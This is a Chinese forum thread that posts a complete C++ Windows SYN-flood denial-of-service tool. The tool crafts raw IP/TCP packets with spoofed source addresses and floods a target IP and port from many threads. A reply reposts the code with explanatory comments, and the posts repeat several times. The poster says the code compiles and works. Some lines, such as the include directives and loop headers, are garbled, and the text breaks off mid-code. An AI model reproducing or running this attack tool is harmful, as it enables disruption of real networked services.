[C++] C++实现多线程dos攻击程序代码
Page 1 of 1
[C++] C++实现多线程dos攻击程序代码
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839
int threadnum,maxthread,port;
char *DestIP;//目标IP
void display(void) // 定义状态提示函数
{
static int play=0;
// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};
printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
}
//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
USHORT th_sport;//16位源端口号
USHORT th_dport;//16位目的端口号
unsigned int th_seq;//32位序列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首部长度+6位保留字中的4位
unsigned char th_flag;////6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER;
//定义一个iphdr来存放IP首部
typedef struct iphdr//ip首部
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int sourceIP;//伪造IP地址
unsigned int destIP;//攻击的ip地址
}IP_HEADER;
//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
struct
{
unsigned long saddr;//源地址
unsigned long daddr;//目的地址
char mbz;//置空
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}PSD_HEADER;
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{
SOCKET sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];
sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sock==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 0;
}
//设置IP_HDRINCL以便自己填充IP首部
ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}
//设置发送超时
ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}
//设置目标地址
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(DestIP);
FakeIpNet=inet_addr(DestIP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);
//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
for(;
{
SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(SendSEQ);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
display();
}//end for
Sleep(20);
InterlockedExchangeAdd((long *)&threadnum,-1);
return 0;
}
void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\t==========gxisone@hotmail.com 2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}
int main(int argc,char* argv[])
{
if(argc!=4)
{
usage(argv[0]);
return 0;
}
usage(argv[1]);
int ErrorCode=0;
DestIP=argv[1];//取得目标主机IP
port=atoi(argv[2]);//取得目标端口号
maxthread=(maxthread>100)?100:atoi(argv[3]);
//如果线程数大于100则把线程数设置为100
WSADATA wsaData;
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}
printf("[start]...........\nPress any key to stop!\n");
while(threadnum {
if(CreateThread(NULL,0,SynfloodThread,0,0,0))
{
Sleep(10);
threadnum++;
}
}
WSACleanup();
printf("\n[Stopd]...........\n");
return 0;
}
经VC++6.0编译调试过,可以正常实现功能,喜欢的朋友可以交流。
谢谢,花了半天时间把代码研究了下,感觉进步了很多。
自己又添加了些注释,不要笑我哈。。。有哪里不对的希望指正
还有个问题,就是这个程序没有线程终止的,只有WSACleanup(),这样会不会造成攻击完成后自己主机的内存得不到释放?
#include
#include
#include
#pragma comment(lib,"ws2_32.lib") //静态加入一个lib文件,也就是库文件
[You must be registered and logged in to see this link.]
#define SEQ 0x28376839
int threadnum,maxthread,port;
char *DestIP; //目标IP
void display(void) // 定义状态提示函数
{
static int play=0;
// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};
printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
}
//统一使用的是big-endian
//定义一个tcphdr结构来存放TCP首部,TCP报头格式
typedef struct tcphdr
{
USHORT th_sport;//16位源端口号
USHORT th_dport;//16位目的端口号
unsigned int th_seq;//32位序列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首部长度+6位保留字中的4位
unsigned char th_flag;////6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER;
//定义一个iphdr来存放IP首部
typedef struct iphdr//IP首部
{
unsigned char h_verlen;//4位报头长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)+13位的段移位量
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int sourceIP;//伪造IP地址(源IP地址)
unsigned int destIP;//攻击的ip地址(伪造IP地址)
}IP_HEADER;
//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
/*伪首部是一个虚拟的数据结构,其中的信息是从数据报所在IP分组头的分组头中提取的,
*既不向下传送也不向上递交,而仅仅是为计算校验和。这样的校验和,既校验了TCP&UDP用
*户数据的源端口号和目的端口号以及TCP&UDP用户数据报的数据部分,又检验了IP数据报的
*源IP地址和目的地址。伪报头保证TCP&UDP数据单元到达正确的目的地址。*/
struct
{
unsigned long saddr;//源地址???
unsigned long daddr;//目的地址???
char mbz;//置空
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}PSD_HEADER;
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{
SOCKET sock =NULL;//套接字
int ErrorCode=0,flag=1,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
/*此数据结构用做bind、connect、recvfrom、sendto等函数的参数,指明地址信息。
*sockaddr_in(在netinet/in.h中定义):
*struct sockaddr_in {
* short int sin_family; // Address family 指代协议族,在socket编程中只能是AF_INET
* unsigned short int sin_port; //Port number
* struct in_addr sin_addr; // Internet address
* unsigned char sin_zero[8]; // Same size as struct sockaddr
}; */
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128]; //发送的数据
/*创建一个与指定传送服务提供者捆绑的套接口,可选地创建和/或加入一个套接口组。
*此函数为socket()的扩展版本,其功能都是创建一个原始套接字。使用时需要包含
*winsock2.h 头文件和链接wsock32.lib库。
*SOCKET WSAAPI WSASocket ( int af, int type, int protocol, LPPROTOCOL_INFO lpProtocolInfo, Group g, int iFlags);
* af:地址族描述。目前仅支持AF_INET格式,亦即ARPA Internet地址格式。
* type:新套接口的类型描述。
* protocol:套接口使用的特定协议,如果调用者不愿指定协议则定为0。
* lpProtocolInfo:一个指向PROTOCOL_INFO结构的指针,该结构定义所创建套接口的特性。
* 如果本参数非零,则前三个参数(af, type, protocol)被忽略。
* g:套接口组的描述字。
* iFlags:套接口属性描述。*/
sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sock==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 0;
}
/*设置套接口的选项,设置IP_HDRINCL以便自己填充IP首部
*int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
* sockfd:标识一个套接口的描述字。
* level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。
* optname:需设置的选项。
* optval:指针,指向存放选项值的缓冲区。
* optlen:optval缓冲区长度。
* 在[You must be registered and logged in to see this link.]有更详细的介绍*/
ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}
//设置发送超时
ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}
//设置目标地址
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(DestIP);
FakeIpNet=inet_addr(DestIP);
FakeIpHost=ntohl(FakeIpNet);//将一个无符号长整形数从网络字节顺序转换为主机字节顺序。
//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));//版本号和报头长度
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));//包长度,最大为65535
ipheader.ident = 1;//id=1,每当发送一个数据包应该加1
ipheader.frag_and_flags = 0;//允许分断,但是这个没有分段
ipheader.ttl = 128;//生存时间
ipheader.proto = IPPROTO_TCP;//在include/winsock2.h文件中有 #define IPPROTO_TCP 6
ipheader.checksum =0;//初始检验和为0
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);
//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);//包序列号
tcpheader.th_ack = 0;//应答号码
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);//低4为未使用,高四位为数据开始的位移,一般为5
tcpheader.th_flag = 2;//flag只使用了后6位,2为TH_SYN,表示建立一个连接请求
tcpheader.th_win = htons(16384);//将一个无符号短整型数值转换为网络字节序,
//通知那边我这边的缓冲区空闲16384
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
for(;
{
SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;//循环,当SEQ为65535时,重置为1
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);//源IP地址不断改变
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(SendSEQ);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
//计算ip校验和
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
//构建好数据包后发送数据包
sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
display();
}//end for
Sleep(20);
InterlockedExchangeAdd((long *)&threadnum,-1);
//原子操作,就是编译出来的cpu的指令和微指令都是“原子”的。cpu每一次处理一条指令,
//然后才可能切换到另一个线程上
return 0;
}
void usage(char *name)
{
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}
int main(int argc,char* argv[])
{
if(argc!=4)
{
usage(argv[0]);
return 0;
}
usage(argv[1]);
int ErrorCode=0;
DestIP=argv[1];//取得目标主机IP
port=atoi(argv[2]);//取得目标端口号
maxthread=(maxthread>100)?100:atoi(argv[3]);
//如果线程数大于100则把线程数设置为100
WSADATA wsaData;
/*这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets数据。它包含Winsock.dll执行的数据。
* 结构原型:
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR * lpVendorInfo;
} WSADATA, FAR * LPWSADATA;
*/
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}
printf("[start]...........\nPress any key to stop!\n");
while(threadnum {
if(CreateThread(NULL,0,SynfloodThread,0,0,0))
{
Sleep(10);
threadnum++;
}
}
WSACleanup();//终止Winsock 2 DLL (Ws2_32.dll) 的使用
printf("\n[Stopd]...........\n");
return 0;
}
#include
#include
#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839
int threadnum,maxthread,port;
char *DestIP;//目标IP
void display(void) // 定义状态提示函数
{
static int play=0;
// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};
printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
}
//定义一个tcphdr结构来存放TCP首部
typedef struct tcphdr
{
USHORT th_sport;//16位源端口号
USHORT th_dport;//16位目的端口号
unsigned int th_seq;//32位序列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首部长度+6位保留字中的4位
unsigned char th_flag;////6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER;
//定义一个iphdr来存放IP首部
typedef struct iphdr//ip首部
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int sourceIP;//伪造IP地址
unsigned int destIP;//攻击的ip地址
}IP_HEADER;
//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
struct
{
unsigned long saddr;//源地址
unsigned long daddr;//目的地址
char mbz;//置空
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}PSD_HEADER;
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{
SOCKET sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];
sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sock==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 0;
}
//设置IP_HDRINCL以便自己填充IP首部
ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}
//设置发送超时
ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}
//设置目标地址
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(DestIP);
FakeIpNet=inet_addr(DestIP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);
//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
for(;
{
SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(SendSEQ);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
display();
}//end for
Sleep(20);
InterlockedExchangeAdd((long *)&threadnum,-1);
return 0;
}
void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\t==========gxisone@hotmail.com 2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}
int main(int argc,char* argv[])
{
if(argc!=4)
{
usage(argv[0]);
return 0;
}
usage(argv[1]);
int ErrorCode=0;
DestIP=argv[1];//取得目标主机IP
port=atoi(argv[2]);//取得目标端口号
maxthread=(maxthread>100)?100:atoi(argv[3]);
//如果线程数大于100则把线程数设置为100
WSADATA wsaData;
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}
printf("[start]...........\nPress any key to stop!\n");
while(threadnum
if(CreateThread(NULL,0,SynfloodThread,0,0,0))
{
Sleep(10);
threadnum++;
}
}
WSACleanup();
printf("\n[Stopd]...........\n");
return 0;
}
经VC++6.0编译调试过,可以正常实现功能,喜欢的朋友可以交流。
谢谢,花了半天时间把代码研究了下,感觉进步了很多。
自己又添加了些注释,不要笑我哈。。。有哪里不对的希望指正
还有个问题,就是这个程序没有线程终止的,只有WSACleanup(),这样会不会造成攻击完成后自己主机的内存得不到释放?
#include
#include
#include
#pragma comment(lib,"ws2_32.lib") //静态加入一个lib文件,也就是库文件
[You must be registered and logged in to see this link.]
#define SEQ 0x28376839
int threadnum,maxthread,port;
char *DestIP; //目标IP
void display(void) // 定义状态提示函数
{
static int play=0;
// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};
printf("=%s= %d threads \r", plays[play],threadnum);
play=(play==11)?0:play+1;
}
//统一使用的是big-endian
//定义一个tcphdr结构来存放TCP首部,TCP报头格式
typedef struct tcphdr
{
USHORT th_sport;//16位源端口号
USHORT th_dport;//16位目的端口号
unsigned int th_seq;//32位序列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首部长度+6位保留字中的4位
unsigned char th_flag;////6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//16位紧急数据偏移量
}TCP_HEADER;
//定义一个iphdr来存放IP首部
typedef struct iphdr//IP首部
{
unsigned char h_verlen;//4位报头长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)+13位的段移位量
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int sourceIP;//伪造IP地址(源IP地址)
unsigned int destIP;//攻击的ip地址(伪造IP地址)
}IP_HEADER;
//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
/*伪首部是一个虚拟的数据结构,其中的信息是从数据报所在IP分组头的分组头中提取的,
*既不向下传送也不向上递交,而仅仅是为计算校验和。这样的校验和,既校验了TCP&UDP用
*户数据的源端口号和目的端口号以及TCP&UDP用户数据报的数据部分,又检验了IP数据报的
*源IP地址和目的地址。伪报头保证TCP&UDP数据单元到达正确的目的地址。*/
struct
{
unsigned long saddr;//源地址???
unsigned long daddr;//目的地址???
char mbz;//置空
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}PSD_HEADER;
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
{
SOCKET sock =NULL;//套接字
int ErrorCode=0,flag=1,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct sockaddr_in sockAddr;
/*此数据结构用做bind、connect、recvfrom、sendto等函数的参数,指明地址信息。
*sockaddr_in(在netinet/in.h中定义):
*struct sockaddr_in {
* short int sin_family; // Address family 指代协议族,在socket编程中只能是AF_INET
* unsigned short int sin_port; //Port number
* struct in_addr sin_addr; // Internet address
* unsigned char sin_zero[8]; // Same size as struct sockaddr
}; */
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128]; //发送的数据
/*创建一个与指定传送服务提供者捆绑的套接口,可选地创建和/或加入一个套接口组。
*此函数为socket()的扩展版本,其功能都是创建一个原始套接字。使用时需要包含
*winsock2.h 头文件和链接wsock32.lib库。
*SOCKET WSAAPI WSASocket ( int af, int type, int protocol, LPPROTOCOL_INFO lpProtocolInfo, Group g, int iFlags);
* af:地址族描述。目前仅支持AF_INET格式,亦即ARPA Internet地址格式。
* type:新套接口的类型描述。
* protocol:套接口使用的特定协议,如果调用者不愿指定协议则定为0。
* lpProtocolInfo:一个指向PROTOCOL_INFO结构的指针,该结构定义所创建套接口的特性。
* 如果本参数非零,则前三个参数(af, type, protocol)被忽略。
* g:套接口组的描述字。
* iFlags:套接口属性描述。*/
sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sock==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 0;
}
/*设置套接口的选项,设置IP_HDRINCL以便自己填充IP首部
*int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
* sockfd:标识一个套接口的描述字。
* level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。
* optname:需设置的选项。
* optval:指针,指向存放选项值的缓冲区。
* optlen:optval缓冲区长度。
* 在[You must be registered and logged in to see this link.]有更详细的介绍*/
ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}
//设置发送超时
ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}
//设置目标地址
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(DestIP);
FakeIpNet=inet_addr(DestIP);
FakeIpHost=ntohl(FakeIpNet);//将一个无符号长整形数从网络字节顺序转换为主机字节顺序。
//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));//版本号和报头长度
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));//包长度,最大为65535
ipheader.ident = 1;//id=1,每当发送一个数据包应该加1
ipheader.frag_and_flags = 0;//允许分断,但是这个没有分段
ipheader.ttl = 128;//生存时间
ipheader.proto = IPPROTO_TCP;//在include/winsock2.h文件中有 #define IPPROTO_TCP 6
ipheader.checksum =0;//初始检验和为0
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);
//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);//包序列号
tcpheader.th_ack = 0;//应答号码
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);//低4为未使用,高四位为数据开始的位移,一般为5
tcpheader.th_flag = 2;//flag只使用了后6位,2为TH_SYN,表示建立一个连接请求
tcpheader.th_win = htons(16384);//将一个无符号短整型数值转换为网络字节序,
//通知那边我这边的缓冲区空闲16384
